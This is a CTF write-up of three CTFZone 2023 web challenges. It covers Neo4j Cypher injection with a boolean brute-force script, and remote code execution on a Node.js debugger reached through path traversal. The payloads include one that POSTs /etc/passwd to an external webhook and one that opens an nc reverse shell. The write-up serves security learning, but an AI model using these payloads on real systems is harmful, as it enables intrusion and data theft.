CTFZone Quals 2023 - webx3

8 minute read

Web

Dead-or-alive

Description

Link: https://dead-or-alive.ctfz.one Source code here.

Solution

Home page:

The web application doesn’t have many features, but I specifically pay attention to this part. Because this is where we can provide input for the web application to process.

In the view source code, I noticed that every time I submit information about my symptoms, there are 3 APIs being called.

/api/setUser:

/api/setSymptoms:

/api/getDiagnosis:

Review source code

This web application utilizes Neo4j, with Neo4j Aura encompassing AuraDB, a cloud-based graph database for intelligent application developers. This solution also includes AuraDS, a fully managed graph data science platform for data scientists to build predictive models and analytical processes.

Here is an example comparing the Cypher language with SQL.

Cypher:
MATCH (p:Product)-[:CATEGORY]->(l:ProductCategory)-[:PARENT*0..]->(:ProductCategory {name:"Dairy Products"})
RETURN p.name
SELECT p.ProductName
FROM Product AS p
JOIN ProductCategory pc ON (p.CategoryID = pc.CategoryID AND pc.CategoryName = "Dairy Products")

JOIN ProductCategory pc1 ON (p.CategoryID = pc1.CategoryID)
JOIN ProductCategory pc2 ON (pc1.ParentID = pc2.CategoryID AND pc2.CategoryName = "Dairy Products")

JOIN ProductCategory pc3 ON (p.CategoryID = pc3.CategoryID)
JOIN ProductCategory pc4 ON (pc3.ParentID = pc4.CategoryID)
JOIN ProductCategory pc5 ON (pc4.ParentID = pc5.CategoryID AND pc5.CategoryName = "Dairy Products");

In the docker-compose.yml file, I noticed a Neo4j service that supports us in interacting with the database. To enable this interaction tool, I will make a slight modification to the docker-compose.yml file.

add these 2 lines of code

Run docker-compose up

Now, we have two services:

  • website at localhost:3000
  • Neo4j web UI at localhost:7474
  • Neo4j bolt at localhost:7687

Regarding the source code in the “app” directory, I had previously identified certain locations that might be susceptible to Cypher injection. However, since this challenge has two levels, I believe this would be the direction for the second level. I’ve spent time uncovering other interesting things within the database dump file.

  • neo4j browser

For Neo4j, first and foremost, we need to establish a connection to the database.The connection information can be found in the docker-compose.yml file.

Test database:

OK: success !!!

Connect with info: neo4j/rootroot

You can refer to this place to learn how to interact with the Neo4j Browser.

Explore the data within the database

While examining the data, you can immediately notice a Node label named “Flag.” I suspect that the Flag might be located somewhere within this label. Labels function similarly to tables in SQL.

In Cypher Query Language (CQL), to query the data of a label, you would use the following query: MATCH (n:Flag) RETURN n LIMIT 25

Additionally, there are other labels as well.

  • Disease There are 11 types of diseases stored.

  • Patient

  • Symptom stores 25 types of disease symptoms.

Additionally, there are 2 relationships.

  • HAS

  • OF The OF relationship indicates which symptoms can lead to which diseases.

Exploit

I noticed there are 2 locations with flags.

  • The first one is within the “Flag” label, certainly.

  • The second one is in the description of the disease “Death.”

Haha, it seems like there are flags for both challenge levels. However, the flag at position 1 seems to be more challenging to obtain, as it requires knowledge of CQL syntax for injection purposes.

For the first challenge, I will focus on retrieving the flag through the Death disease.

Recalling the previous information, I analyzed that users can create an SSN (Social Security Number) and provide symptoms for doctors to diagnose diseases based on those symptoms.

The description of the disease will be returned when passing the SSN into the /api/getDiagnosis API.

Wait, wait, give me a moment. So, what symptoms can lead to the “Death” disease? :breast-feeding:

In this challenge, the OF relationship is limited to 25 records of 5 diseases and 25 symptoms, without considering other diseases.

Removing the LIMIT 25, you can view all the information about the diseases.

New query: MATCH p=()-[r:OF]->() RETURN p

Hold on, when providing all the symptoms, it will be considered as the “Death” disease. :smile: Exactly as I initially predicted.

Okay, so we only need to provide the required 32 symptoms, and we can receive the description of the “Death” disease containing the flag. /api/setSymptoms

Script

import requests
import random
import string

from bs4 import BeautifulSoup

url = "http://dead-or-alive.ctfz.one"

def getSymptom(html):
    symptom_data = []
    
    soup = BeautifulSoup(html, 'html.parser')
    select_element = soup.find('select', {'id': 'selectSymptom'})
    option_elements = select_element.find_all('option')
    
    for option in option_elements:
        symptom_data.append(option['value'])
    
    return symptom_data

with requests.Session() as session:
    ssn = ''.join(random.choices(string.ascii_letters + string.digits, k=3))
    r = session.get(url + '/')
    all_symptom = getSymptom(r.text)
    
    session.post(url + '/api/setUser', json={"ssn":ssn,"fullname":"abc90","dateOfBirth":"1/1/1999","weight":"100"})
    session.post(url + '/api/setSymptoms', json={"ssn":ssn,"symptoms": all_symptom }) ## add all symptom
    r = session.post(url + '/api/getDiagnosis', json={"ssn":ssn} )
    json_data = r.json()
    for item in json_data["message"]:
        if "You receive a posthumous flag" in item["description"]:
            flag = item["description"]
            print(flag)
    

Result:

┌──(taiwhis㉿kali)-[~/zone/dead-or-alive]
└─$ python 3.py       
You are dead, You receive a posthumous flag: ctfzone{C4n_Th3_D34D_Pl4y_CTF?}

Dead-or-alive2

Description

Link: https://dead-or-alive.ctfz.one Source code here.

Solution

Okay, this challenge shares the same web application with the previous challenge, but it’s more difficult.

As I analyzed with you in the previous challenge, there is another label named “Flag” that stores another flag.

However, how can we dump data from within this label? Is there some kind of vulnerability? :face_palm:

View source code

Earlier, I mentioned to you that in the app.js file, there are certain code locations that seem to be concatenating strings. It’s possible that we could perform injection there.

Here:

But I realized that ssn and name cannot be injected.

After re-evaluating the code for a while, both me and my friend “moonshadow” realized that we might be able to inject a query at the /api/setSymptoms API.

Code: You can see that the value of symptoms is directly passed from the input of the user into the code without any filtering, unlike ssn and name.

Nice :astonished:

But… You can only add disease symptoms for one SSN at a time, which means you need to create a new SSN from scratch each time.

Okay, the original query is like this:

MATCH (p:Patient {ssn: '${ssn}'})
MATCH (s:Symptom) WHERE s.name in [${symptoms}]
MERGE (p)-[r:HAS]->(s)

I will escape the square bracket [${}] by using '].

Alright, next, I will use a query to retrieve data from the Flag label.

Like this: I will use boolean injection to check the flag result.

I will use boolean injection to check the flag result.

In Cypher Query Language (CQL), there is a way to check if the returned data starts with a different string using STARTS WITH.

resource here.

Ex:

MATCH (n:Flag) where n.flag starts with 'abc' return n.flag

=> return False

MATCH (n:Flag) where n.flag starts with 'ctf' return n.flag

=> return True

Based on this, I can brute force each character to guess what the next character might be.

payload: ']\u000aMATCH (f:Flag) WHERE f.flag STARTS WITH '####'//

:::success In the character string, \u000a is an escape sequence representing a Unicode character. Specifically, \u000a corresponds to the line feed character in Unicode. :::

  • Test with burpsuite

:::danger Take note, here you should prepend some symptoms of a specific disease to make the returned result different. ::: Ex: I choose the group of symptoms for the Diabetes disease.

Result: return False

Check if the flag starts with the string ctfzone or not.

Result return True.

=> I will use the string Diabetes is a chronic condition as a sign to check the response.

Script

import requests
import random
import string
from tqdm import tqdm

from bs4 import BeautifulSoup

url = "http://dead-or-alive.ctfz.one"
        

with requests.Session() as session:
    characters = string.ascii_letters + string.digits + string.punctuation
    
    flag = "ctfzone{"
    length = 0
    
    # check length flag
    print("Checking length flag...")
    for i in range(10,60):
        payload = f"Fatigue']\u000aMATCH (n:Flag) WHERE size(toString(n.flag)) = {i} //"
        ssn = ''.join(random.choices(string.ascii_letters + string.digits, k=3))
        session.post(url + '/api/setUser', json={"ssn":ssn,"fullname":"abc90","dateOfBirth":"1/1/1999","weight":"100"} )
        session.post(url + '/api/setSymptoms', json= {"ssn":ssn,"symptoms":[ "Blurred vision", "Slow-healing sores or cuts", "Increased thirst",
"Frequent urination", payload ]} )
        r = session.post(url + '/api/getDiagnosis', json={"ssn":ssn} )
        
        if "Diabetes is a chronic condition" in r.text:
            length = i
            print("Done! The length of the flag is: ", length)
            break
    
    # brute force
    for i in range(0, length):
        print("Current flag: ", flag)
        for i in characters:
            payload = "']\u000aMATCH (n:Flag) WHERE n.flag STARTS WITH '####'//".replace("####", flag + i)
            ssn = ''.join(random.choices(string.ascii_letters + string.digits, k=3))
            session.post(url + '/api/setUser', json={"ssn":ssn,"fullname":"abc90","dateOfBirth":"1/1/1999","weight":"100"} )
            session.post(url + '/api/setSymptoms', json= {"ssn":ssn,"symptoms":[ "Blurred vision", "Slow-healing sores or cuts", "Increased thirst",
"Frequent urination","Fatigue" + payload ]} )
            r = session.post(url + '/api/getDiagnosis', json={"ssn":ssn} )
            if "Diabetes is a chronic condition" in r.text:
                flag += i
                print("Found: ", i)
                break
    
    print("Flag: ", flag)

Result:

ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy!}

Under construction

Description

Link: http://web-under-construction-ins1.ctfz.one Source code here

Solution

Based on the package.json file, I found some issues.

The node-static library contains a vulnerability described here. https://github.com/advisories/GHSA-5g97-whc9-8g7j https://security.snyk.io/vuln/SNYK-JS-NODESTATIC-3149928

Node.js 6.x and later versions include a debugging protocol (also known as “inspector”) that can be activated using –inspect and related command-line flags. This debugging service is susceptible to DNS rebinding attacks that can be exploited to execute remote code.

I successfully tried running it locally.

┌──(taiwhis㉿kali)-[~/zone/undercon]
└─$ node --inspect app.js
Debugger listening on ws://127.0.0.1:9229/76e8646f-fcc4-44a5-a6aa-a19e820e7a34
For help, see: https://nodejs.org/en/docs/inspector
Server running at http://0.0.0.0:3000/

You can refer here:

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse

My team members have discovered this. Exploiting the path traversal vulnerability, you can read the file /../app-logs.er to obtain the debugger socket.

So now that you have the debugger socket, you can use wscat to transmit data and execute it.

PoC refer here: https://ibukifalling.github.io/2022/11/11/rce-via-Nodejs-debug-port

  • using wscat:

I noticed this in the Dockerfile as well.

RUN echo "ctfzone{REDACTED}" > /root/flag.txt
RUN echo "ubuntu ALL = (root) NOPASSWD: 
/bin/cat /root/flag.txt" >> /etc/sudoers
json payload: `{"id":1,"method":"Runtime.evaluate","params":{"expression":"require = process.mainModule.require; execSync = require(\"child_process\").execSync; execSync(\"curl -X POST -d @/etc/passwd https://webhook.site/d0534853-10c9-4fc5-826a-fd44f6fb69b4\");"}}
┌──(taiwhis㉿kali)-[~]
└─$ wscat -c ws://127.0.0.1:9229/de92aeae-9254-4e2c-8b3a-cfc5fcf5a358
Connected (press CTRL+C to quit)
>{"id":1,"method":"Runtime.evaluate","params":{"expression":"require = process.mainModule.require; execSync = require(\"child_process\").execSync; execSync(\"curl -X POST -d @/etc/passwd https://webhook.site/d0534853-10c9-4fc5-826a-fd44f6fb69b4\");"}}
< {"id":1,"result":{"result":{"type":"object","subtype":"typedarray","className":"Uint8Array","description":"Uint8Array(0)","objectId":"1236463280690069003.1.1"}}}

Result:

Oke RCE and get flag.

{"id":1,"method":"Runtime.evaluate","params":{"expression":"require = process.mainModule.require; execSync = require(\"child_process\").execSync; execSync(\"nc 10.0.2.15 8000 -e /bin/sh\");"}}

My teammate has successfully solved this challenge. This is new knowledge for me. :heart_decoration:

Flag: ctfzone{d3bug_m0d3_1s_c00l_f0r_CTF}

Comments